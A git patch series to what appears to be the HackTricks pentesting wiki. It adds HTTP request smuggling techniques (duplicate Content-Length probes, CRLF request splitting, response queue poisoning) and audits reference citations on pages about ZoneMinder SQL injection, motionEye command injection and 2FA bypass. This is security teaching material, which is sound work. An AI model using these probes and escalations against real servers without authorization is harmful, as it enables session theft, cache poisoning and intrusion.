From abcb642acbcd8e0947dd2bb7d2af0abfe1bda03e Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 6 Aug 2026 02:27:18 +0000 Subject: [PATCH 01/10] Add content from: Can AI Do Novel Security Research? Meet the HTTP Terminator --- .../http-request-smuggling/README.md | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 35377ab5bc1..6842c8d4333 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -229,6 +229,29 @@ This is useful to cause a desync, but it won't have any impact until now. However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.[[14]](#references) +#### Emerging trigger families (2026) + +Recent large-scale desync research produced several reusable **non-classic triggers** worth testing in addition to CL.TE / TE.CL / TE.0:[[22]](#references) + +- **HTTP/1.0 + `Transfer-Encoding`**: some chains change framing as soon as `Transfer-Encoding` exists, even when the value is not `chunked`. `Transfer-Encoding: gzip` was enough to trigger CL.0-style desyncs because one hop still honored `Content-Length` while another treated the HTTP/1.0 message as faulty framed.[[22]](#references) +- **Response-only semantics inside requests**: `Content-Type: multipart/byteranges` can behave like a CL.0 trigger when one component reuses response-side multipart logic and effectively treats the request as bodyless while another still honors `Content-Length`. This generalizes into **Shared-Parser Confusion**: also test response-oriented features such as `Location`, `Set-Cookie`, `Range`, cache invalidation, and CONNECT tunnel state changes inside requests.[[22]](#references) +- **Dual-matching `Content-Length`**: some servers treat **any duplicate `Content-Length`** as “no body”, even when both values are identical, valid, and exactly match the body size. Another hop may accept the shared length, creating a CL.0-like desync with otherwise clean framing. Whitespace-prefixed / obs-fold-like placement of the second header is worth testing too.[[22]](#references) +- **CONNECT tunnel confusion**: after a successful `CONNECT`, trailing bytes from the CONNECT request can prefix the next request (for example `XGET ...`). This is mainly interesting behind front-ends that forward CONNECT upstream.[[22]](#references) + +Minimal dual-matching probe: + +```http +GET / HTTP/1.1 +Host: target +Content-Length: 28 +Content-Length: 28 + +GET /x HTTP/5.1 +X: X +``` + +A later victim request receiving `505 HTTP Version Not Supported` is a strong sign that the embedded request crossed a boundary.[[22]](#references) + #### Breaking the web server This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**. @@ -336,6 +359,23 @@ When testing for request smuggling vulnerabilities by interfering with other req - **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability. - **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach. +### Generic cross-request contamination detection + +Timing probes are still useful for CL.TE / TE.CL deadlocks, but newer tooling also looks for any reproducible **cross-request contamination** instead of guessing the desync class first. Record a stable **control/victim** request and its normal response, send a candidate trigger on a **separate connection**, then immediately repeat the same victim request. If the victim response changes reproducibly, request isolation is broken even if you do not yet know whether the bug is CL.0, TE.0, response-queue poisoning, or something stranger.[[22]](#references) + +A good classification trick is to place a **recognizable request** in the apparent body and look for a distinctive downstream response. For example, `GET / HTTP/777` should provoke `505 HTTP Version Not Supported`, and a smuggled `TRACE` request can reflect escaped bytes back in the response. This finds unknown desync classes without hard-coding the parser discrepancy first.[[22]](#references) + +### Clean probes vs dirty probes + +Do not treat “two responses came back” as proof by itself. If the trigger is ambiguous enough that the target could legitimately parse it as **two pipelined requests**, you may have only observed normal HTTP/1.1 behavior. Prefer **clean probes**: RFC-compliant requests with one unambiguous body boundary. If a clean request still causes a second response, or changes a later victim response, that is a much stronger desync signal.[[22]](#references) + +### Protocol-ruler transformation detection + +If the back-end has a sharp **maximum header length**, use that limit as a black-box ruler to detect front-end rewriting even when no header is reflected. Measure the largest accepted header value, replace a couple of known bytes with a candidate byte sequence, and measure again. If two bytes make the acceptance boundary shrink by ~10 bytes, the front-end likely expanded or normalized them before forwarding. This is useful for finding Unicode/mojibake rewrites, header dropping/overrides, and spoofing-header normalization that can later produce FE↔BE parser disagreement.[[22]](#references) + +> [!TIP] +> If you want to automate **trigger generation, permutation, and validation** instead of only manual probing, check [AI-Assisted Fuzzing & Automated Vulnerability Discovery](../../AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) for the generalized LLM/evaluator patterns behind HTTP Terminator.[[22]](#references) + ## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.[[10]](#references) @@ -798,6 +838,12 @@ Have you found some HTTP Request Smuggling vulnerability and you don't know how ../http-response-smuggling-desync.md {{#endref}} +#### Dangling-byte Response Queue Poisoning + +Classic response-queue poisoning often fails because the back-end emits **two responses immediately**, the front-end over-reads into the second one, and resets the connection (the **stacked-response** problem). A strong workaround is to smuggle an **incomplete inner request** whose declared body is missing **exactly one byte**. When the victim later sends `GET /victim...`, the first byte (`G`) completes the smuggled body's missing byte and the remaining bytes (`ET /victim...`) are parsed separately, shifting the response queue without the original race. The next attacker request can then receive the victim response. This works best on method-agnostic back-ends and is one of the most reliable modern RQP upgrades.[[22]](#references) + +For full response-side variants, content-confusion chains, and cache-poisoning escalations, review the dedicated response desync page above.[[22]](#references) + ### Other HTTP Request Smuggling Techniques - Browser HTTP Request Smuggling (Client Side) @@ -1038,6 +1084,7 @@ When reviewing caches, confirm that the key includes at least: - [19] [Twisty Python (Werkzeug HTTP request smuggling write-up)](https://mizu.re/post/twisty-python) - [20] [HTTP Request Smuggling + IDOR (hipotermia)](https://hipotermia.pw/bb/http-desync-idor) - [21] [Account takeover via HTTP Request Smuggling (hipotermia)](https://hipotermia.pw/bb/http-desync-account-takeover) +- [22] [PortSwigger Research - Can AI do novel security research? Meet the HTTP Terminator](https://portswigger.net/research/http-terminator) {{#include ../../banners/hacktricks-training.md}} From 8ddb11262f882f1a4397e07aeb23f748afafacd2 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 6 Aug 2026 02:32:17 +0000 Subject: [PATCH 02/10] Add content from: CRLF-Powered Desync Attacks: Beheading HTTP Streams --- .../http-request-smuggling/README.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 35377ab5bc1..e216ebe7c97 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -322,6 +322,23 @@ Check how this header can help exploiting a http desync in: ../../network-services-pentesting/pentesting-web/special-http-headers.md {{#endref}} +## CRLF-powered request splitting and desynchronization + +If attacker-controlled data is URL-decoded before a reverse proxy copies it into an upstream HTTP/1 request, `%0d%0a` stops being just response/header injection and becomes a request-smuggling primitive. A common example is Nginx `proxy_pass http://backend$uri;`, because `$uri` is normalized before the upstream request is constructed. The same sink can hide in regex captures, query parameters, cookie values, or custom upstream headers populated from request data. See also [CRLF (%0D%0A) Injection](../crlf-0d-0a.md).[[22]](#references) + +### Detection notes + +- Prefer payloads that should trigger a **distinct upstream status code** if the injected bytes reached the back end: invalid HTTP version (`505`), unsupported `Transfer-Encoding` (`501`), invalid `Expect` (`417`), or a malformed `Content-Length` (`400`).[[22]](#references) +- If `CRLFCRLF` immediately causes `400` and connection close, do **not** discard the sink yet: some targets still allow **single-header injection**, which is enough for `CL.TE` or request-tunnelling style desyncs.[[22]](#references) +- Do not limit testing to the path. In real targets the vulnerable value may be copied into the upstream request line from a **cookie/session token**, or injected into a **custom upstream header** first and only later broken out into a second request.[[22]](#references) + +### Escalation patterns + +- **Request splitting / response queue poisoning:** if two CRLF pairs survive, terminate the first header block and append a complete second request. One front-end request then becomes two back-end requests, shifting the response queue and enabling cross-user response theft, cache poisoning, and sometimes cross-tenant leakage when the smuggled `Host` can be changed on shared CDN infrastructure.[[22]](#references) +- **Single-header fallback -> CRLF-powered `CL.TE`:** if only one injected header survives, add `Transfer-Encoding: chunked` while the front end still honors a normal `Content-Length`. An incomplete chunk is a strong confirmation probe because the back end waits for more body bytes; exploitation is the usual `0\r\n\r\n` pattern that consumes the next request on the reused connection.[[22]](#references) +- **Blind request-tunnelling disclosure with `Expect`:** when the inner request is processed on a private upstream but the response is normally hidden, inject `Expect: 100-continue`. Some Nginx flows relay the unexpected `100 Continue` plus the tunneled response, which also enables bypass of front-end-only ACLs by placing an allowed path in the outer request and a protected path in the inner one.[[22]](#references) +- **Browser-sendable desyncs:** because the control bytes can live in the URL path or POST body instead of forbidden custom headers, many CRLF-powered desyncs are reachable via navigation or `fetch()`, which makes connection-locked and IP-locked variants practical once a server-side sink is confirmed.[[22]](#references) + ### HTTP Request Smuggling Vulnerability Testing After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource. @@ -1038,6 +1055,7 @@ When reviewing caches, confirm that the key includes at least: - [19] [Twisty Python (Werkzeug HTTP request smuggling write-up)](https://mizu.re/post/twisty-python) - [20] [HTTP Request Smuggling + IDOR (hipotermia)](https://hipotermia.pw/bb/http-desync-idor) - [21] [Account takeover via HTTP Request Smuggling (hipotermia)](https://hipotermia.pw/bb/http-desync-account-takeover) +- [22] [PortSwigger Research - CRLF-Powered Desync Attacks: Beheading HTTP Streams](https://portswigger.net/research/crlf-powered-desync-attacks) {{#include ../../banners/hacktricks-training.md}} From b5913318a1cb4bc2eb43fa1026334a22e2b6c15d Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 11:16:29 +0200 Subject: [PATCH 03/10] References audit: numbered citations for 50 pages Audits the '## References' of these pages: merges duplicated reference sections into one, numbers every entry, adds the linked [[N]](#references) citations to the content each reference is the source of, drops unused references and credits the original research. Co-Authored-By: Claude Opus 5 (1M context) --- .../pentesting-web/wsgi.md | 5 +- .../pentesting-web/zabbix.md | 2 +- .../zoneminder-motioneye-motion.md | 24 +-- src/pentesting-web/2fa-bypass.md | 52 +++--- .../abusing-hop-by-hop-headers.md | 10 +- .../README.md | 65 ++++---- ...on-load-preferences-mac-forgery-windows.md | 34 ++-- src/pentesting-web/bypass-payment-process.md | 3 - src/pentesting-web/cache-deception/README.md | 93 ++++++----- .../cache-deception/cache-poisoning-to-dos.md | 20 +-- .../cache-poisoning-via-url-discrepancies.md | 13 +- src/pentesting-web/captcha-bypass.md | 1 - src/pentesting-web/clickjacking.md | 40 ++--- .../client-side-path-traversal.md | 24 +-- .../README.md | 117 ++++++++------ .../dapps-DecentralizedApplications.md | 19 +-- src/pentesting-web/deserialization/README.md | 152 +++++++++--------- .../lfi2rce-via-temp-file-uploads.md | 9 +- .../file-inclusion/phar-deserialization.md | 9 +- .../via-php_session_upload_progress.md | 15 +- .../pdf-upload-xxe-and-cors-bypass.md | 7 +- ...ula-csv-doc-latex-ghostscript-injection.md | 33 ++-- src/pentesting-web/grpc-web-pentest.md | 12 +- src/pentesting-web/h2c-smuggling.md | 18 +-- .../hacking-jwt-json-web-tokens.md | 36 ++--- .../hacking-with-cookies/README.md | 60 +++---- .../hacking-with-cookies/cookie-bomb.md | 10 +- .../cookie-jar-overflow.md | 17 +- .../hacking-with-cookies/cookie-tossing.md | 23 ++- .../http-connection-contamination.md | 8 +- .../http-connection-request-smuggling.md | 10 +- .../http-request-smuggling/README.md | 85 +++++----- .../browser-http-request-smuggling.md | 11 +- .../request-smuggling-in-http-2-downgrades.md | 12 +- .../http-response-smuggling-desync.md | 14 +- src/pentesting-web/idor.md | 34 ++-- src/pentesting-web/iframe-traps.md | 17 +- src/pentesting-web/json-xml-yaml-hacking.md | 11 +- src/pentesting-web/ldap-injection.md | 2 - src/pentesting-web/login-bypass/README.md | 11 +- .../login-bypass/sql-login-bypass.md | 3 - src/pentesting-web/mass-assignment-cwe-915.md | 18 +-- src/pentesting-web/nosql-injection.md | 43 ++--- .../oauth-to-account-takeover.md | 105 ++++++------ src/pentesting-web/open-redirect.md | 25 +-- src/pentesting-web/orm-injection.md | 31 ++-- src/pentesting-web/parameter-pollution.md | 31 ++-- src/pentesting-web/phone-number-injections.md | 9 +- .../pocs-and-polygloths-cheatsheet/README.md | 3 - .../web-vulns-list.md | 16 +- 50 files changed, 722 insertions(+), 700 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md index bb12c15802b..37d70f64db6 100644 --- a/src/network-services-pentesting/pentesting-web/wsgi.md +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -18,7 +18,7 @@ werkzeug.md ## uWSGI Magic Variables Exploitation -uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.[[1]](#references) +uWSGI provides special "magic variables" that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via `$arg_*`, `$http_*`, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.[[1]](#references)[[3]](#references) ### Dangerous mappings in front proxies (nginx example) @@ -195,7 +195,7 @@ os.environ['UWSGI_CHEAPER'] = '1' Deployments that use Apache httpd with `mod_proxy_uwsgi` have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer: -- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue. +- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when `mod_proxy_uwsgi` is in use. Upgrading Apache to ≥2.4.56 mitigates the issue.[[6]](#references) - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”[[5]](#references) These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets. @@ -207,5 +207,6 @@ These do not directly grant RCE in uWSGI, but in edge cases they can be chained - [3] [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) - [4] [The uwsgi Protocol (spec)](https://uwsgi-docs.readthedocs.io/en/latest/Protocol.html) - [5] [uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments](https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.26.html) +- [6] [CVE-2023-27522 — Apache HTTP Server mod_proxy_uwsgi HTTP Response Smuggling](https://nvd.nist.gov/vuln/detail/CVE-2023-27522) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/zabbix.md b/src/network-services-pentesting/pentesting-web/zabbix.md index 74b9e73045e..809cc39c8f3 100644 --- a/src/network-services-pentesting/pentesting-web/zabbix.md +++ b/src/network-services-pentesting/pentesting-web/zabbix.md @@ -20,7 +20,7 @@ Recent Zabbix versions compute the cookie like: - sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators) - Final cookie: Base64(JSON_with_sign) -If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI. +If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.[[1]](#references) ## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log diff --git a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md index 49bc5d6c1c5..211d6f813cb 100644 --- a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md +++ b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md @@ -15,7 +15,7 @@ After host access, the most interesting files are commonly: - **`/etc/motioneye/motioneye.conf`** - **`/etc/motioneye/*.conf`** -- ZoneMinder web sources / config revealing the DB name, tables, and auth model +- ZoneMinder web sources / config revealing the DB name, tables, and auth model[[1]](#references) ## ZoneMinder @@ -35,7 +35,7 @@ In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in: /zm/index.php?view=request&request=event&action=removetag&tid=1 ``` -can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into: +can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:[[1]](#references) ```php $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; @@ -69,7 +69,7 @@ This is specially useful when the application gives a better **Boolean** signal ### Turning app SQLi into OS access -ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**. +ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**.[[1]](#references) - Identify the hash type first (for example **bcrypt** / **`$2y$`**). - Crack only the extracted application users. @@ -83,7 +83,7 @@ hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m ## Post-foothold: sniffing internal creds with `tcpdump` capabilities -On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo. +On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo.[[1]](#references) Check for capture primitives: @@ -113,7 +113,7 @@ Review the pcap in Wireshark and prioritise: ### Signed requests + client-side-only validation -motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**. +motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**.[[1]](#references) A practical approach is: @@ -132,7 +132,7 @@ This is useful when the UI blocks characters such as **`$`**, but the backend st In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**. -If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs. +If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.[[1]](#references) Probe payloads: @@ -146,7 +146,7 @@ If the Motion process or hook executes as **root**, this becomes **root RCE**. ### Unauthenticated localhost Motion webcontrol -If Motion webcontrol is reachable and unauthenticated, test it directly: +If Motion webcontrol is reachable and unauthenticated, test it directly:[[1]](#references) ```bash curl -s http://127.0.0.1:7999/ @@ -170,7 +170,7 @@ Why this works: ### Stored SHA1 hash accepted as a login secret -If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first. +If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.[[1]](#references) Some motionEye builds store: @@ -182,9 +182,9 @@ and then accept request signatures computed using the stored hash-derived secret ## References -- [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html) -- [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder) -- [motionEye repository](https://github.com/motioneye-project/motioneye) -- [Motion Project](https://motion-project.github.io/) +- [1] [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html) +- [2] [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder) +- [3] [motionEye repository](https://github.com/motioneye-project/motioneye) +- [4] [Motion Project](https://motion-project.github.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index 88b45af5ac6..cc4fa1d24db 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -6,23 +6,23 @@ ### **Direct Endpoint Access** -To bypass 2FA, access the subsequent endpoint directly, knowing the path is crucial. If unsuccessful, alter the **Referrer header** to mimic navigation from the 2FA verification page. +To bypass 2FA, access the subsequent endpoint directly, knowing the path is crucial. If unsuccessful, alter the **Referrer header** to mimic navigation from the 2FA verification page.[[2]](#references) ### **Token Reuse** -Reutilizing previously used tokens for authentication within an account can be effective. +Reutilizing previously used tokens for authentication within an account can be effective.[[2]](#references) ### **Utilization of Unused Tokens** -Extracting a token from one's own account to bypass 2FA in another account can be attempted. +Extracting a token from one's own account to bypass 2FA in another account can be attempted.[[2]](#references) ### **Exposure of Token** -Investigate whether the token is disclosed in a response from the web application. +Investigate whether the token is disclosed in a response from the web application.[[2]](#references) ### **Verification Link Exploitation** -Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b). +Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).[[3]](#references) ### **Session Manipulation** @@ -30,7 +30,7 @@ Initiating sessions for both the user's and a victim's account, and completing 2 ### **Password Reset Mechanism** -Investigating the password reset function, which logs a user into the application post-reset, for its potential to allow multiple resets using the same link is crucial. Logging in with the newly reset credentials might bypass 2FA. +Investigating the password reset function, which logs a user into the application post-reset, for its potential to allow multiple resets using the same link is crucial. Logging in with the newly reset credentials might bypass 2FA.[[2]](#references) ### **OAuth Platform Compromise** @@ -40,17 +40,17 @@ Compromising a user's account on a trusted **OAuth** platform (e.g., Google, Fac #### **Rate Limit Absence** -The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered. +The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered.[[1]](#references)[[2]](#references) -Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received. +Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[4]](#references) #### **Slow Brute Force** -A slow brute force attack is viable where flow rate limits exist without an overarching rate limit. +A slow brute force attack is viable where flow rate limits exist without an overarching rate limit.[[1]](#references) #### **Code Resend Limit Reset** -Resending the code resets the rate limit, facilitating continued brute force attempts. +Resending the code resets the rate limit, facilitating continued brute force attempts.[[1]](#references) #### **Client-Side Rate Limit Circumvention** @@ -58,7 +58,7 @@ A document details techniques for bypassing client-side rate limiting. #### **Internal Actions Lack Rate Limit** -Rate limits may protect login attempts but not internal account actions. +Rate limits may protect login attempts but not internal account actions.[[1]](#references) #### **SMS Code Resend Costs** @@ -66,7 +66,7 @@ Excessive resending of codes via SMS incurs costs to the company, though it does #### **Infinite OTP Regeneration** -Endless OTP generation with simple codes allows brute force by retrying a small set of codes. +Endless OTP generation with simple codes allows brute force by retrying a small set of codes.[[1]](#references) ### **Race Condition Exploitation** @@ -74,17 +74,17 @@ Exploiting race conditions for 2FA bypass can be found in a specific document. ### **CSRF/Clickjacking Vulnerabilities** -Exploring CSRF or Clickjacking vulnerabilities to disable 2FA is a viable strategy. +Exploring CSRF or Clickjacking vulnerabilities to disable 2FA is a viable strategy.[[1]](#references)[[2]](#references) ### **"Remember Me" Feature Exploits** #### **Predictable Cookie Values** -Guessing the "remember me" cookie value can bypass restrictions. +Guessing the "remember me" cookie value can bypass restrictions.[[1]](#references) #### **IP Address Impersonation** -Impersonating the victim's IP address through the **X-Forwarded-For** header can bypass restrictions. +Impersonating the victim's IP address through the **X-Forwarded-For** header can bypass restrictions.[[1]](#references) ### **Utilizing Older Versions** @@ -94,23 +94,23 @@ Testing subdomains may use outdated versions lacking 2FA support or contain vuln #### **API Endpoints** -Older API versions, indicated by /v\*/ directory paths, may be vulnerable to 2FA bypass methods. +Older API versions, indicated by /v\*/ directory paths, may be vulnerable to 2FA bypass methods.[[1]](#references) ### **Handling of Previous Sessions** -Terminating existing sessions upon 2FA activation secures accounts against unauthorized access from compromised sessions. +Terminating existing sessions upon 2FA activation secures accounts against unauthorized access from compromised sessions.[[1]](#references) ### **Access Control Flaws with Backup Codes** -Immediate generation and potential unauthorized retrieval of backup codes upon 2FA activation, especially with CORS misconfigurations/XSS vulnerabilities, poses a risk. +Immediate generation and potential unauthorized retrieval of backup codes upon 2FA activation, especially with CORS misconfigurations/XSS vulnerabilities, poses a risk.[[1]](#references)[[2]](#references) ### **Information Disclosure on 2FA Page** -Sensitive information disclosure (e.g., phone number) on the 2FA verification page is a concern. +Sensitive information disclosure (e.g., phone number) on the 2FA verification page is a concern.[[1]](#references) ### **Password Reset Disabling 2FA** -A process demonstrating a potential bypass method involves account creation, 2FA activation, password reset, and subsequent login without the 2FA requirement. +A process demonstrating a potential bypass method involves account creation, 2FA activation, password reset, and subsequent login without the 2FA requirement.[[2]](#references) ### **Decoy Requests** @@ -122,13 +122,9 @@ In case the OTP is created based on data the user already has or that is sending ## References -- [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35) -- [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) -- [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce) - -P +- [1] [Two-Factor Authentication: Security Testing and Possible Bypasses](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35) +- [2] [2 Factor Authentication Bypass](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) +- [3] [Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) +- [4] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md index cae0fce90c5..4c40d9e67d9 100644 --- a/src/pentesting-web/abusing-hop-by-hop-headers.md +++ b/src/pentesting-web/abusing-hop-by-hop-headers.md @@ -4,9 +4,9 @@ --- -**This is a summary of the post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) +**This is a summary of the post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)[[1]](#references) -Hop-by-hop headers are specific to a single transport-level connection, used primarily in HTTP/1.1 for managing data between two nodes (like client-proxy or proxy-proxy), and are not meant to be forwarded. Standard hop-by-hop headers include `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, and `Proxy-Authenticate`, as defined in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Additional headers can be designated as hop-by-hop via the `Connection` header. +Hop-by-hop headers are specific to a single transport-level connection, used primarily in HTTP/1.1 for managing data between two nodes (like client-proxy or proxy-proxy), and are not meant to be forwarded. Standard hop-by-hop headers include `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, and `Proxy-Authenticate`, as defined in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1).[[2]](#references) Additional headers can be designated as hop-by-hop via the `Connection` header. ### Abusing Hop-by-Hop Headers @@ -39,7 +39,9 @@ If a cache server incorrectly caches content based on hop-by-hop headers, an att 2. The poorly configured cache server does not remove the hop-by-hop header and caches the response specific to the attacker's session. 3. Future users requesting the same resource receive the cached response, which was tailored for the attacker, potentially leading to session hijacking or exposure of sensitive information. -{{#include ../banners/hacktricks-training.md}} - +## References +- [1] [Abusing HTTP hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) +- [2] [RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1, section 13.5.1](https://tools.ietf.org/html/rfc2616#section-13.5.1) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 6ded1a58fea..2d94c54d69f 100644 --- 